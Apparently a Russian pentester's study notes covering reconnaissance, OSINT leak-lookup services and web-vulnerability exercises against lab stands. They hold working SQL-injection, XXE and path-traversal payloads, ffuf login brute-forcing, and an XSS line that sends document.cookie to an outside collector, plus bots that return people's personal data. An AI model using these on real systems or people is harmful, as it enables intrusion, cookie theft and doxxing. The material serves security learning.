Текущая 4 версия. Работает архидолго, находит не так чтобы много. Но может найти что-то интересное. Формат вывода: 

test.cyber-ed.ru (FQDN) --> a_record --> 185.215.4.43 (IPAddress)
infra.cyber-ed.ru (FQDN) --> a_record --> 84.54.44.31 (IPAddress)
84.201.128.0/18 (Netblock) --> contains --> 84.201.134.36 (IPAddress)
84.54.44.0/23 (Netblock) --> contains --> 84.54.44.31 (IPAddress)
200350 (ASN) --> managed_by --> AS200350 - Yandex.Cloud LLC (RIROrganization)

amass v3 

Работает быстрее, доступен через docker

docker run caffix/amass:v3 enum -d <host>

Для amass v3 ключ -passive запрещает искать ip адреса. Ключи amass v3 и v4 сильно отличаются.

5. The Harvester

-b указывается источник данных (sitedossier, duckduckgo
-d домен

#!/usr/bin/python
import sys
import os
if len(sys.argv) < 2:
    sys.exit(-1)
providers = [ 'duckduckgo', 'bing', 'baidu', 'dnsdumpster', 'hunter', 'sitedossier' ]
for a in providers:
    cmd = 'theHarvester -d {0} -b {1} -f {2}.html'.format(sys.argv[1], a, a)
    os.system(cmd)

6. Другие инструменты:

Пассивный поиск

Использование служб и сайтов, которые произвели активный поиск за нас или агрегировали известную информацию среди открытых источников. Примеры:

Объединение данных из разных источников

Нужно преобразовать выходную информацию к одному формату и сделать итоговый список имен. Задача: сохранить файлы из разных источников по одному шаблону и создать итоговый файл (включая вручную созданные из web ресурсов файлы). Шаблон создаваемых файлов: domain_tool.txt (например bobrobotirk.ru_subfinder.txt). Часть скрипта по объединению файлов: 

#!/bin/bash

DOMAIN=$1
OUTPUT_FILE="$DOMAIN/subdomains_merged.txt"

mkdir -p $DOMAIN
#вызов инструментов

cat "$DOMAIN/${DOMAIN}_"*.txt | sort | uniq > "$OUTPUT_FILE"

Осталось в часть #вызов инструментов добавить конкретные инструменты.

Описание nslookup

-type=TEXT записи определенного типа




Перебор DNS записей из списка доменных имен

OSINT & ручной поиск адресов

OSINT

OSINT (Open Source Intelligence) — это методология сбора, анализа и использования открытой информации из различных источников для получения разведывательных данных или информации, полезной для принятия решений.

Дополнительные ссылки

Открытые источники информации могут включать в себя интернет-ресурсы, социальные сети, газеты, журналы, телевидение, радио, публичные базы данных и другие источники, которые не требуют специальных разрешений или привилегий для доступа к ним.

Конечная цель сбора информации — получить как можно больше данных, относящихся к целевой компании.

Интересные сервисы для пассивного поиска:

https://dnsdumpster.com/ По доменному имени существующие сервисы, доменные имена
https://crt.sh/ Информация о выпущенных сертификатах. Могут содержаться данные о пользователях.

Активные инструменты

amass enum -d <host>

Man по amass

Информация по доменному имени, портах, хостах
https://osintframework.com/ Агрегация всех популярных инструментов и ресурсов для OSINT
https://github.com/jivoi/awesome-osint Агрегация всех популярных статей, исследований, кейсов и инструментов в OSINT
https://habr.com/ru/companies/tensor/articles/706656/ Интересная статья

Поиск связанных доменных имен

Whois – это протокол поиска информации о зарегистрированных доменных именах, IP-адресах и автономных системах. 

СПАРК (https://spark-interfax.ru/) – это система, собирающая всю доступную информацию о компаниях и извлекая из нее знания, помогает получать подробную информацию о бизнесе организаций и о привязанных к нему информационных активах, сайтах и доменных именах.

RIPE (Réseaux IP Européens) – это некоммерческая организация, которая занимается управлением и распределением ресурсов IP-адресации и автономных систем в странах Европы, Ближнего Востока и Центральной Азии. На сайте https://apps.db.ripe.net/db-web-ui/fulltextsearch можно найти различные данные (включая доменные имена), связанные с владельцем выделенных ему сегментов IP-адресов.

Адрес Ключ поиска Прайс Комментарии API
dehashed.com       Да
emailrep.io email 0$  250 запросов/месяц 10/день
До
1000$ 50000/месяц		 Проверка почты на доверенность.
участия в форумах
дата первого и последнего слива
Наличие в  спам-базах		 Да
haveibeenpwned.com email 0  web ui
4.5  10 email/min api
...
3912 12000 email/min		 Факт наличия данного адреса в утечках. Если присутствует, то указывается
дата, детали утечки и данные, которые утекли.		 Да
leakcheck.net email
username
phone		 2.99$/сутки  15 почт/сутки
9.99$/мес  200 /сутки 15 ключевых слов/сутки
69.99$/навсегда 400 /сутки 30 ключевых слов / сутки
от 179$/3 мес.  Массовая проверка		 Слитые пароли, мониторинг (ожидание) Да
intelx.io email
ip
domain
username
phone
btc address		 0  web ui
2-20000 api		 Поиск по сливам.  Да
lampyre.io email
ip
domain
username
phone		 5/once 30 photons
8/month 100 photons
232/month 3 devices, 1500 photons		 Большая база. Да

tg @Smart_SearchBot

Не нашел. 

 Разная 50/сутки
100/неделя
200/месяц
1800/год		 Несколько устаревшая Нет

tg @Mervervar_Bot

ссылается на 

@Iakskvfmdbot

 

phone

фио

...

Работает за создание бота (отправить ключ от своего бота туда). Но часть инфы можно получить. 

Затем платно. От 5 до 15 центов/запрос.

image.png

Пример отчета:

📱 
├ Телефон: 
├ Оператор: 
├ Регион: 
└ Страна: 

👤 Основные данные
├ ФИО: 
├ Дата рождения: 
└ Возраст: 

🔎 Телефонные книги: Текст из тел. контактов, интересно как получают.

Одноклассники: 
👩‍🦲 TikTok: 
🏦 Мобильный банк: 
💬 Telegram: 
📧 E-mail: 

👁 Интересовались этим: 

Зависит от представленности в интернете

tg @mailsearchbot

Заблокирован

 email
username
phone		   Пароли, ссылка на leackcheck, выдает неполные, для оценки количества Нет

tg passwordld

Не нашел

 email   Пароли, меньше база Нет

canarytoken (https://canarytokens.org/nest/) - ответное уведомление

OSINT & ручной поиск адресов

Shodan.io, Google

Shodan.io

Требует регистрации, платный сервис. Позволяет фильтровать поиск по:

ФИЛЬТР ПОИСКА ОПИСАНИЕ ПРИМЕР
Port Номера портов Port:80
Product Имя продукта Product: "Apache"
Org Название организации. На латинице. Org: "Target company name."
Country  Двухбуквенное обозначение страны Country:RU
City Город City:Montreal
hostname Доменное имя Hostname: "domain-name.com"
os Операционная система os: "Linux"
httpȨtitle Заголовок веб-страницы http.title:"Dashboard"

И еще порядка 50 параметров.

Пример карточки объекта:

изображение.png

Google

Этот способ использования google называют Google Dorks. Генерация запросов dorks через ИИ https://www.dorkgpt.com/

site:github.com ключевые_слова Слова на сайте. Много на github.
inurl:[критерий] Поиск текста внутри URL. Поиск возможных мест SQL-инъекций на сайте: 
site:[домен] inurl:?id=
intitle:[критерий] Поиск текста внутри заголовка веб-страницы. Поиск видеокамер:
intitle:"index of" "cctv"
filetype:[расширение файла] Поиск файлов по их расширениям. Поиск файлов, связанных с доменом, 
который является вашей целью: 
Site:[домен] filetype:"xls | xlsx | doc | docx | ppt | pptx | pdf"
intext: Слова должны быть в теле страницы. intext:"Ошибка базы данных"
cache: Показывает сохраненную в кеше Google версию страницы. cache:bobrobotirk.ru
define:

Быстрое определение термина. define:SQL injection.
link:

Показывает (не все) сайты, которые ссылаются на указанный URL.
related:

Поиск сайтов, похожих на указанный.

Комбинация запросов

"точная фраза" Поиск страниц, содержащих точную фразу в кавычках. "логин или пароль неверен" (идеально для поиска конкретных сообщений об ошибках).
OR (или |) Логическое "ИЛИ". Найдет страницы, содержащие хотя бы одно из слов. python OR javascript tutorial
- (минус) Исключает слово из поиска. python -snake (найдет все про язык Python, но исключит результаты про змей).
* (звездочка) Подстановочный знак, заменяет любое слово или часть слова. Пример: "Используйте * для" (найдет фразы типа "Используйте Python для", "Используйте наш сервис для" и т.д.).
( ) — Группировка для сложных запросов. Пример: (python OR java) site:github.com "beginner tutorial"

На сайте https://www.exploit-db.com/google-hacking-database размещена база с интересными запросами.

    

        .


  



OSINT & ручной поиск адресов

Email рассылки

Временная почта для регистрации

https://www.guerrillamail.com

Телефонные номера: https://onlinesim.io/ru

 

Ip адреса, с которых разрешено отправлять почту с этого домена

SPF запись в разделе redirect возвращает запись, в которой содержится информация о разрешенных адресах отправки: 

» dig txt ptsecurity.ru                                  
...
ptsecurity.ru.        600    IN    TXT    "v=spf1 redirect=_spf.ptsecurity.com"
...

Получение списка адресов: 

» dig txt _spf.ptsecurity.com                    
...
_spf.ptsecurity.com.    3600    IN    TXT    "v=spf1 ip4:178.238.126.136 
ip4:178.238.126.137 ip4:195.133.251.200 ip4:195.133.251.201 
ip4:31.44.93.58 ip4:81.27.243.31 ip4:81.27.243.54 ip4:195.133.251.208 
ip4:178.238.126.134 mx -all"
...

Параметры:

v=spf1 TXT запись содержит информацию, относящуюся непосредственно к SPF
ipv4 (ipv6) список IP адресов и сетей, с которых дозволено отправлять письма
mx серверам, указанным в MX DNS записи, так же разрешено отправлять письма. Получить список:  
dig mx ptsecurity.ru
-all адреса, не указанные в записи SPF, не имеют права отправлять электронную почту.
~all электронные письма, не включенные в список, будут помечены как небезопасные или спам
+all любой сервер может отправлять электронные письма от имени вашего домена
include адреса организаций, которые имеют право отправлять от имени этого домена

Бывает, что для домена указывается ссылка на списки провайдера, которые содержат целиком подсети. Поэтому для данного домена можно отправлять от его имени с адресов соседних виртуалок.

Взлом Web приложений

Взлом Web приложений

Фаззинг

Fuff

FFUF легко адаптируется к внешнему инструментарию. Подставляет наборы из словарей в соответствующие точки адреса и анализирует ответ. 

ffuf -u http://test.ru/FUZZ/ -w dict.txt

Здесь вместо FUZZ будет подставлено каждое значение из dict.txt. По умолчанию GET, затем анализ статуса ответа

Мультисловарь

ffuf -u https://ignitetechnologies.in/W2/W1/ -w dict.txt:W1 -w dns_dict.txt:W2

Общие параметры

-ic -s скрывает из вывода баннер fuff и дополнительную информацию, оставляя только найденные пути
-e .php определяет расширение файла, которое мы ищем.
-b "" Установка cookie
-p 1 Задержка 1 секунда перед отправкой следующего запроса
-rate 500 Максимальное количество запросов в секунду
-t 1000 Количество потоков. По умолчанию 40.
-o fname -of format

Выходной файл и формат результата

-of html

-of csv

Параметры соответствия / фильтрации

-mc / -fc Какие статусы отображать. например -mc 200 / Какие статусы фильтровать
-ml / -fl Соответствие / исключение количеству строк в ответе
-mw / -fw Соответствие / исключение количеству слов в ответе
-ms / -fs Соответствие / исключение размера ответа
-mr / -fr Соответствие / исключение в ответе регулярному выражению

Можно настроить proxy

Атака clusterbomb - подстановка логинов и паролей из словаря в соответствующие поля запроса для подбора. Идея в том, что в параметре request указывается текст запроса. При помощи burp копируем текст запроса, в нашем случае в brute.txt заменяя значения на переменные

image.png

 Затем задаем тип атаки -mode и словари для переменных.

ffuf -request brute.txt -request-proto http -mode clusterbomb -w users.txt:HFUZZ -w pass.txt:WFUZZ -mc 200

Типы атак:

clusterbomb Полный перебор. Берет все элементы из первого набора и комбинирует со всеми элементами из второго, третьего и т.д. Идеален для перебора логина и пароля.
pitchfork Попарное сопоставление. Берет первый элемент из первого набора, первый из второго и т.д., затем второй из первого, второй из второго. Используется для согласованных данных.
sniper Снайпер (режим по умолчанию). Использует один набор полезных нагрузок для атаки на одну или несколько позиций по очереди.
batteringram Таран. Использует один набор полезных нагрузок и подставляет одно и то же значение во все позиции одновременно в одном запросе.
null "Холостой" режим. Отправляет запрос только один раз, без замены в позициях. Полезные нагрузки не используются. Получить "чистый" ответ от сервера без каких-либо атакующих payloads, чтобы использовать его как базовый для фильтрации.
multinull Многократный "холостой" режим. Отправляет один и тот же базовый запрос несколько раз. Стабильность ответа: Проверить, возвращает ли сервер всегда один и тот же ответ на идентичный запрос. Помогает отсеять случайные отклонения.
single Одиночная замена. Использует один набор полезных нагрузок, но подставляет каждую нагрузку только в первую позицию FUZZ. Последующие позиции FUZZ в запросе игнорируются. Упрощенный вариант Sniper, когда у вас в запросе случайно оказалось несколько слов FUZZ, но вы хотите фаззить только первую позицию.
iterator Нужен файл смарт-загрузки (JSON) Позволяет создать цепочку из других режимов атаки. Например, сначала выполнить clusterbomb для двух наборов, а затем результат передать в sniper для третьего. Очень гибкий, но и сложный в настройке.
trampoline Нужен файл смарт-загрузки (JSON) Позволяет использовать результат одного запроса (например, извлечь токен из ответа) в качестве полезной нагрузки для следующего запроса. Идеален для обхода защиты, требующей выполнения предыдущего шага (например, получения CSRF-токена перед отправкой формы).

Т е fuff повторяет типы Burb, добавляя свои варианты. Iterator и trampoline являются аналогами скриптов в Burp. Возможно настройка менее удобная.

Список словарей:

 

 

Взлом Web приложений

Направления

Способы атаки

Категории типовых уязвимостей
Типовые уязвимости по механизмам, где они происходят:

Типовые уязвимости по характеру их эксплуатации:

Типовые уязвимости по технологиям, в которых они происходят:

Взлом Web приложений

Тестовые стенды

OWASP Juice Shop Образ docker https://hub.docker.com/r/bkimminich/juice-shop 

# Запуск последней версии
docker run -d -p 3000:3000 bkimminich/juice-shop

# Или с конкретной версией
docker run -d -p 3000:3000 bkimminich/juice-shop:v15.1.0

Затем он доступен по адресу http://localhost:3000

Damn Vulnerable Web Application (DVWA) Работает через docker или на локальном веб-сервере. Инструкции по DVWA доступны по адресу https://github.com/ethicalhack3r/DVWA

docker run -d -p 80:80 vulnerables/web-dvwa

Можно запустить отдельный контейнер с MySQL 

version: '3'
services:
  dvwa:
    image: vulnerables/web-dvwa
    ports:
      - "80:80"
    environment:
      - MYSQL_HOST=db
      - MYSQL_USER=dvwa
      - MYSQL_PASSWORD=p@ssw0rd
      - MYSQL_DB=dvwa
    depends_on:
      - db
    restart: unless-stopped
  
  db:
    image: mysql:5.7
    environment:
      - MYSQL_ROOT_PASSWORD=root
      - MYSQL_DATABASE=dvwa
      - MYSQL_USER=dvwa
      - MYSQL_PASSWORD=p@ssw0rd
    restart: unless-stopped

После запуска по адресу http://localhost нажмите "Create / Reset Database", войдите с учетными данными по умолчанию:        Логин: admin Пароль: password В разделе "DVWA Security" установите нужный уровень сложности.

Тестовый стенд от stepik

Ссылка

Взлом Web приложений

Уязвимости механизмов авторизации

Классификация по типам проверки подлинности:

Механизмы аутентификации уязвимы в случаях:

Уязвимости Password-based аутентификации

Пользователи регистрируются для получения учетной записи, или администратор присваивает им учетную запись. Учетная запись связана с уникальным именем пользователя и паролем.

Безопасность сайта будет скомпрометирована, если получить или угадать учетные данные другого пользователя.

Уязвимости в этом механизме возникают по различным причинам, одни из них:

Возможные brute-force атаки

Brute-forcing пользовательских имен

Работает если соответствуют узнаваемому шаблону, например, адресу электронной почты. Очень часто логины бывают в формате firstname.lastname@somecompany.com

Иногда высокопривилегированные учетные записи создаются с использованием предсказуемых имен пользователей, таких как admin или administrator.

Brute-forcing паролей

Часто бывают настроены политики паролей с высокой энтропией, которые сложнее взломать одним перебором. Возможные условия:

Но пользователи часто берут пароль, который они могут запомнить, и пытаются использовать его в соответствие с политикой паролей. Например, если не разрешено использование password, пользователи могут попробовать что-нибудь вроде P@ssw0rd или P4$$w0rd!.

Предположение предсказуемых закономерностей означает, что атаки с применением грубой силы часто могут быть гораздо более изощренными и более эффективными, чем простые итерации через всевозможные комбинации символов.

Уязвимая защита от brute-force атак
Для успешной компроментации аккаунта необходимо провести множество неудачных попыток. Защита строится на замедлении скорости перебора пароля.  Наиболее распространенные способы предотвращения атак:

Иногда счетчик количества неудачных попыток сбрасывается при успешном входе владельца IP-адреса. Это означает, что злоумышленнику просто придется входить в систему под своей учетной записью каждые несколько попыток, чтобы этот лимит никогда не был достигнут.

В этом случае достаточно просто включать свои собственные учетные данные для входа в систему через регулярные интервалы времени в течение перебора всего словаря, чтобы сделать эту защиту практически бесполезной.

Basic-аутентификация HTTP

Несмотря на старость метода, ее часто используют. Клиент получает маркер аутентификации, который строится путем сцепления имени пользователя и пароля, а также их кодировки в Base64. Этот токен хранится в браузере, который автоматически добавляет его в заголовок авторизации каждого последующего запроса следующим образом:

Authorization: Basic base64(username:password)

Причины уязвимости:

В некоторых случаях использование уязвимой базовой HTTP-аутентификации может дать злоумышленнику доступ только к, казалось бы, неинтересной странице. Однако, в дополнение к обеспечению дополнительной поверхности атаки, учетные данные, раскрытые таким образом, могут быть повторно использованы в других, более конфиденциальных контекстах.

Уязвимости мультифакторной аутентификации

Проверка биометрических факторов является непрактичной для большинства веб сайтов. Чаще встречается двухфакторная аутентификация (2FA). Для многофакторной аутентификации необходимы различные факторы. Проверка одного фактора разными способами не является двухфакторной аутентификацией.

Одним из таких примеров является 2FA через электронную почту. Хотя пользователь должен предоставить пароль и проверочный код, доступ к коду предполагается на основе того, что пользователь знает учетные данные для входа в свою учетную запись электронной почты. Поэтому фактор проверки подлинности знания просто проверяется дважды.

Обход двухфакторной аутентификации:

Уязвимости механизмов смены пароля, восстановления пароля, поддержания сессии
Большинство сайтов предоставляют дополнительные функциональные возможности управления учетной записью. Например, изменение и сброс пароля. Эти механизмы также могут добавлять уязвимости.

Разработчики стараются избежать известных уязвимостей на страницах входа. Однако забывают об аналогичные шагах на связанной функциональности. Это особенно важно при возможности пользователя самому создавать учетную запись и имеет  доступ к изучению этих дополнительных страниц.

Сторонние механизмы аутентификации, которые также могут быть уязвимы:

Дополнительные ссылки

Тренироваться на упражнениях можно на открытых платформах. Одна из лучших платформ по изучению проблем безопасности веб-приложений: PortSwigger Academy.

Типичные ошибки в BurpSuite

Так же настоятельно рекомендуем ознакомится с различными инструментами, используемыми для брутфорсинга (hydra, medusa, patator и др.):

Пример атаки

Атака производилась на стенд stepik Тестовые стенды Задача в поиске строки в формате 32 букв и цифр из кода страницы панели администратора.

Сначала получим список возможных страниц. 

ffuf -u http://192.168.1.199:1337/FUZZ/ -w fuzz.txt

Нашли страницу админки. Включаем Burp и находим способ отправки логина и пароля. Сохраняем запрос в payload.txt

Копируем словарь паролей https://github.com/empty-jack/YAWR раздел brute -> passwords -> reallyBest.txt Я переименовал его в passlist.txt

Теперь попробуем clusterbomb. Я столкнулся с интересной проблемой перебора через ffuf. Непонятно, какой пароль подошел. Потом, после размышлений, догнал. Однако это очень-простое-приложение) Burp все-таки удобнее. 

ffuf -request payload.txt -request-proto http -mode clusterbomb -w loginlist.txt:HFUZZ -w passlist.txt:WFUZZ -mc 200

А не понял из-за ограничения на статус 200. Не знал, что после корректной авторизации приложение переадресовывает эту сессию на следующую страницу. В реальных задачах потребуется проверка на блокировку, ...

Теперь подбираем одноразовый код аналогично. Надоело ждать перебор через Burp, сделал простой скрипт для формирования списка из 999 чисел и отдал его в ffuf

Взлом Web приложений

Уязвимости инъекции команд ОС

Инъекция команд ОС (shell инъекция) позволяет выполнять произвольные команды ОС на сервере, и обычно дает возможность полностью скомпрометировать приложение и все его данные. Возможно использовать также для компрометации других частей инфраструктуры, используя доверительные отношения для перенаправления атаки на другие системы в организации.

Обычно эксплуатация затруднена и требует поиска возможностей выполнения кода через другие уязвимости:

Здесь нужно понимать что искать. 

 

Взлом Web приложений

Уязвимости контроля доступа

Варианты:

Проектирование и управление контролем доступа — это сложная и динамичная проблема, которая применяет деловые, организационные и правовые ограничения к технической реализации. Проектные решения по контролю доступа должны приниматься людьми, а не технологиями, и вероятность ошибок высока.

Пример

После создания заказа в стенде будет перенаправление на страницу с информацией о нем. Адрес этой станицы будет вида http://localhost:1337/receipt.php?orderID=3, где 3 — это номер вашего заказа.

Вы можете попробовать нарушить контроль доступа и обратиться к заказам с другими номерами. Если система уязвима — вы увидите данные о заказе который не принадлежит вам, и там отображаются персональные данные другого пользователя.

Обычно номера заказов идут по возрастающей, следовательно, скорее всего, есть заказы с номером меньше вашего, но нет с номером больше вашего. При запуске сайта первые заказы обычно создают для теста владельцы сайта и если эти заказы не были удалены, то там могут оказаться контактные данные администратора сайта. Таким образом, вы получите доступ к данным, которые вам не предназначались, и обнаружите уязвимость контроля доступа в лабораторном стенде.

Категории контроля доступа

Вертикальный контроль доступа
Механизмы, ограничивающие доступ к чувствительным функциям, недоступным другим типам пользователей. Различные типы пользователей имеют доступ к различным функциям приложений. Например, администратор может изменить или удалить учетную запись любого пользователя, в то время как обычный пользователь не имеет доступа к этим действиям. Вертикальные средства контроля доступа могут быть более тонкой реализацией моделей безопасности, разработанных для внедрения бизнес-политик, таких, как разделение обязанностей и наименьших привилегий.

Пример уязвимостей IFLAC
Insecure Function Level Access Control (IFLAC) — это подкатегория уязвимостей контроля доступа. Уязвимый контроль доступа функционального уровня позволяет получить доступ к несанкционированным для роли функциям. Административные функции являются основной целью данного типа атак.

Возникает при публикации API, в котором не проверяется уровень доступа для обращения к функциям. 

Пример - возможность обращения к вызову функции удаления пользователя, в то время как доступ в административную панель закрыт. Т.е. пользователь не может открыть кабинет администратора, но может выполнить запрос к методу API, который будет успешно выполнен.

Горизонтальный контроль доступа
Механизмы, ограничивающие доступ к ресурсам для пользователей, которым специально разрешен доступ к этим ресурсам.

Различные пользователи имеют доступ к подмножеству ресурсов одного и того же типа. Например, банковское приложение позволит пользователю просматривать транзакции и осуществлять платежи со своих счетов, но не со счетов любого другого пользователя.

Пример уязвимостей IDOR
Небезопасные прямые ссылки на объекты (IDOR) — это также подкатегория уязвимостей контроля доступа. IDOR возникает, когда приложение использует пользовательский ввод для прямого доступа к объектам, а злоумышленник может модифицировать ввод для получения несанкционированного доступа. Он был популярен своим появлением в OWASP TOP 10 2007. Хотя, это лишь один из примеров многих ошибок в реализации, которые могут привести к обходу контроля доступа.

Рассмотрим сайт, который использует следующий URL для доступа к странице учетной записи клиента, извлекая информацию из внутренней базы данных:
https://insecure-website.com/customer_account?customer_number=132355

Здесь номер клиента используется непосредственно как индекс записи в запросах, которые выполняются на внутренней базе данных. Если другие элементы управления отсутствуют, злоумышленник может просто изменить значение параметра customer_number, минуя элементы управления доступом для просмотра записей других клиентов. Это пример уязвимости IDOR, приводящей к горизонтальному повышению привилегий.

Атакующий может выполнить горизонтальное и вертикальное повышение привилегий, изменяя пользователя на пользователя с дополнительными привилегиями в обход элементов управления доступом. Другие возможности включают в себя, например, использование утечки пароля или изменение параметров после того, как злоумышленник попал на страницу учетной записи пользователя.

Контроль доступа в местах, зависящих от бизнес-логики
Контекстно-зависимые элементы управления доступом ограничивают доступ к функциональности и ресурсам в зависимости от состояния приложения или взаимодействия с ним пользователя, а также препятствуют выполнению пользователем действий в неправильном порядке. Например, веб-сайт розничной торговли может помешать пользователю изменить содержимое корзины после того, как он произвел оплату.

Уязвимости контроля доступа, как правило, можно предотвратить, применяя глубокий подход к защите и следуя следующим принципам:

 

Взлом Web приложений

Файлы и каталоги

Обход файловых путей (англ. Path Traversal или Directory Traversal) – это уязвимость веб-безопасности, позволяющая злоумышленнику читать произвольные файлы на сервере, на котором запущено приложение. Сюда могут входить код приложения и данные, учетные данные для внутренних систем и конфиденциальные файлы операционной системы. В некоторых случаях злоумышленник может записать в произвольные файлы на сервере, что позволит ему изменить данные или поведение приложения, и, в конечном счете, получить полный контроль над сервером.

Появляются из-за отсутствия валидации входных данных пользователя, а также из-за отсутствия разграничения доступа приложения или функции на возможность обращаться к файловым ресурсам всего сервера.

Пример уязвимого кода:

<?php
$template = 'red.php';
if (isset($_COOKIE['TEMPLATE'])) {
    $template = $_COOKIE['TEMPLATE'];
}
include "/home/users/phpguru/templates/" . $template;

В данном примере функция include подключает файлы из директории /home/users/phpguru/templates/ , имена которых отправил пользователь в своих Cookie данных на сервер. В таком случае пользователь может изменить отправляемые им данные и добавить в данные отправляемые на сервер строку ../../../../../etc/passwd .  В таком случае, сервер выполнит запрос к файлу по адресу /home/users/phpguru/templates/../../../../../etc/passwd , что, в конечном итоге, превратится в обращение к файлу /etc/passwd, и предоставит возможность чтения пользователю системных файлов ОС, к которым он не должен был иметь доступа.

Скрипт сохранения файлов из открытых директории

#!/bin/bash
FILE="${1}"
OUTPUT_FOLDER="${2}"

if [[ ! -s "${FILE}" ]]; then
  echo "You must provide a non-empty hosts file as an argument."
  exit 1
fi

if [[ -z "${OUTPUT_FOLDER}" ]]; then
  OUTPUT_FOLDER="data"
fi

while read -r line; do
  url=$(echo "${line}" | xargs)
  if [[ -n "${url}" ]]; then
    echo "Testing ${url} for Directory indexing..."
    if curl -L -s "${url}" | grep -q -e "Index of /" -e "[PARENTDIR]"; then
      echo -e "\t -!- Found Directory Indexing page at ${url}"
      echo -e "\t -!- Downloading to the \"${OUTPUT_FOLDER}\" folder..."
      mkdir -p "${OUTPUT_FOLDER}"
      wget -q -r -np -R "index.html*" "${url}" -P "${OUTPUT_FOLDER}"
    fi
  fi
done < <(cat "${FILE}")

Сканирование директорий, закрытых от индексирования в robots.txt

Можно просканировать закрытые директории, просмотрев коды ответов при обращении: 

#!/bin/bash

TARGET_URL="http://172.16.10.12"
ROBOTS_FILE="robots.txt"

while read -r line; do
  path=$(echo "${line}" | awk -F'Disallow: ' '{print $2}')
  if [[ -n "${path}" ]] then
    url="${TARGET_URL}/${path}"
    status_code=$(curl -s -o /dev/null -w "%{http_code}" "${url}")
    echo "URL: ${url} returned a status code of: ${status_code}"
  fi
done < <(curl -s "${TARGET_URL}/${ROBOTS_FILE}")

Инструмент dirsearch

Поиск скрытых путей и файлов на web сервере. Отдельная база.

dirsearch -u http://172.16.10.10:8081/

--max-rate=REQUESTS Ограничение числа запросов.

Охрененный инструмент.

MSF backup_file

Ищет резервные файлы, случайно сохраненные на сервере. auxiliary/scanner/http/backup_file 

MSF dir_listing 

Список возможных путей. Похоже нужно указывать словарь для проверки.

Получение git репозитория (GitJacking)

Можно при возможности качнуть git проекта.

gitjacker http://172.16.10.11/backup/acme-impact-alliance/ -o acme-impact-alliance-git

Потом git log и другие инструменты поиска например файлов авторизации.

Взлом Web приложений

SQL-инъекции

Позволяет вмешиваться в запросы, которые приложение делает к своей базе данных. В частности, могут приводить к:

Показателем наличия инъекции могут являться ошибки, вызванные наличием управляющих символов (' " \). 

Комбинирование запросов:

Необходимо в следующем запросе получить такое же количество колонок. Поэтому сначала нужно узнать количество колонок. Используется технология добавления в запрос ORDER BY 1 то есть сортировка по номеру колонки. При ошибке понимаем количество колонок.

Например 8 колонок. Далее при запросе UNION SELECT 1.2.3.4.5.6.7.8 получим какой столбец попадает в какое поле формы. Затем вместо нужной цифры можно подставить нужный запрос, 

Стоит ставить символ комментария после строки запроса -- -

http://192.168.1.199:1337/receipt.php?orderID=-1 union select 1,2,3,4,5,6,7,8 -- -

Цифра 5 попала в поле Comments. Поэтому попробуем вывести в это поле название таблицы. 

-1 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables -- -

Объединение данных в одно поле возможно сделать за счет group_concat

-1 UNION SELECT 1,2,3,4,GROUP_CONCAT(TABLE_NAME, '-'),6,7,8 FROM INFORMATION_SCHEMA.tables -- -

Столбцы в таблице 

-1 UNION SELECT 1,2,3,4,GROUP_CONCAT(COLUMN_NAME, '-'),6,7,8 FROM INFORMATION_SCHEMA.columns WHERE table_name='secret_table' -- -

Получение данных из таблицы 

-1 UNION SELECT 1,2,3,4,secret_column,6,7,8 FROM secret_table -- -

Примеры SQL-инъекций:

Дополнительная информация

Практика:

 

Взлом Web приложений

Внедрение внешних сущностей XML

Внешние сущности XML — это тип пользовательских сущностей XML, определенные значения которых загружаются вне DTD (англ. Document Type Definition), в котором они объявлены. Внешние сущности особенно интересны с точки зрения безопасности, так как они позволяют определить сущность, основываясь на содержимом пути к файлу или URL.

XML External Entity, XXE – уязвимость, позволяющая вмешиваться в обработку XML-данных приложения. Часто она позволяет просматривать файлы на сервере приложений, а также взаимодействовать с любыми внутренними или внешними системами, к которым имеет доступ само приложение. Вариации атак:

Приложения, использующие формат XML для передачи данных, часто используют стандартную библиотеку или платформенный API для обработки XML-данных на сервере. Спецификация XML содержит различные потенциально опасные функции, и стандартные парсеры поддерживают эти функции, даже если они обычно не используются приложением.

Полезные нагрузки

Для выполнения атаки XXE-инъекции для считывания произвольного файла сервера необходимо изменить представленный XML в следующей последовательности:

Для корректного использования нужно изучить используемые опасные конструкции XML.

POST /order.php HTTP/1.1
Host: 192.168.1.199:1337
Content-Length: 255
X-Requested-With: XMLHttpRequest
Accept-Language: ru-RU,ru;q=0.9
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: application/xml
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Origin: http://192.168.1.199:1337
Referer: http://192.168.1.199:1337/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE order [<!ENTITY file SYSTEM 'file:///etc/hosts'>]>
  <order>
    <name>first</name>
    <email>first@ya.ru</email>
    <phone>+79528486357</phone>
    <comment>&file;</comment>
    <productID>Beginer</productID>
    <price>5</price>
  </order>

Дополнительная информация

Взлом Web приложений

Межсайтовый скриптинг (XSS)

Уязвимость, позволяющая скомпрометировать взаимодействие пользователей с уязвимым приложением. Она позволяет обходить политику одного источника (англ. Same Origin Policy, SOP), которая предназначена для разделения различных веб сайтов друг от друга.

Политика одного источника (Same Origin Policy, SOP) предотвращает взаимодействие скриптов с содержимым страниц, происходящих с разных источников, чтобы обеспечить безопасное выполнение кода на веб-странице. 

XSS позволяет маскироваться под пользователя-жертву, выполнять любые действия, которые может выполнить пользователь, и получать доступ к любым данным пользователя.

Если пользователь-жертва имеет привилегированный доступ внутри приложения, то атакующий может получить полный контроль над всей функциональностью и данными приложения.

Межсайтовый скриптинг работает путем манипулирования уязвимым веб-сайтом, чтобы он возвращал пользователям вредоносный JavaScript. Когда вредоносный код выполняется внутри браузера жертвы, злоумышленник может полностью скомпрометировать их взаимодействие с приложением.

Т е в данные добавляется модифицированный JS код, админ входит на эту страницу и вуаля. 

Для проверки на наличие XSS уязвимости нужно добавить в поле данных управляющий символ html " > и т д. Если он остается в сохраненных данных - значит это возможно. Затем кодируется JS и все ок).

 

Один из наиболее распространенных сценариев развития атаки в этой ситуации – передача Cookie посетителя атакующему. Чтобы принять запрос, воспользуемся ресурсом https://requestbin.com/. Используем указанный в поле Endpoint URL для получения Cookie:

+79117238383"><img src=x onerror=fetch('https://ADDR.x.pipedream.net/?'+document.cookie) />

где ADDR – адрес вашего endpoint.

Основные типы XSS-атак

Отраженный межсайтовый скриптинг (XSS) возникает, когда приложение получает данные в HTTP-запросе и включает эти данные непосредственно в ответ небезопасным способом.

Хранимый XSS
